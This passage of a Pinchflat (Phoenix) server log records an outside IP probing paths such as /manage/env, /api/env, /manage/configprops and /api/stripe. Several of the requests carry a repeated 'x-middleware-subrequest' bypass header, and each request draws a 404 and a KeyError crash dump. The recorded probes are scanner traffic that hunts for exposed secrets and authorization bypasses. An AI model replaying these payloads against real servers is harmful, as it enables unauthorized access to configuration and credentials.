text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgbDQvhwiLeYACMhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21567.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36922}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21567.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36922}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21568.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-age (truncated) 15:40:35.614 [info] GET /manage/env 15:40:35.615 [debug] QUERY OK source="settings" db=0.2ms idle=223.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.615 [debug] QUERY OK source="settings" db=0.0ms idle=112.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.615 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.616 [info] GET /api/env 15:40:35.616 [debug] QUERY OK source="settings" db=0.1ms idle=113.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.615 [error] #PID<0.21570.0> running PinchflatWeb.Endpoint (connection #PID<0.21569.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manage/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36936}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21570.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgbdrTN0lL2oABcIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36936}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36936}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21570.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-requ (truncated) 15:40:35.616 [debug] QUERY OK source="settings" db=0.0ms idle=112.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.616 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.616 [error] #PID<0.21572.0> running PinchflatWeb.Endpoint (connection #PID<0.21571.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21571.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36952}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21572.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgbeDQygPRGsACMhh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21571.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36952}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21571.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36952}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21572.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10 (truncated) 15:40:35.728 [info] GET /manage/configprops 15:40:35.729 [debug] QUERY OK source="settings" db=0.1ms idle=224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.729 [debug] QUERY OK source="settings" db=0.0ms idle=114.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.729 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.729 [error] #PID<0.21574.0> running PinchflatWeb.Endpoint (connection #PID<0.21573.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manage/configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21573.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36958}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21574.0>, params: %{}, path_info: ["manage", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgb449QYKG40ACMiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21573.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36958}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21573.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36958}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21574.0>, params: %{}, path_info: ["manage", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:40:35.733 [info] GET /api/stripe 15:40:35.733 [debug] QUERY OK source="settings" db=0.1ms idle=118.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.733 [debug] QUERY OK source="settings" db=0.0ms idle=117.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:35.733 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:35.734 [error] #PID<0.21576.0> running PinchflatWeb.Endpoint (connection #PID<0.21575.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/stripe ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21575.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36964}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21576.0>, params: %{}, path_info: ["api", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], 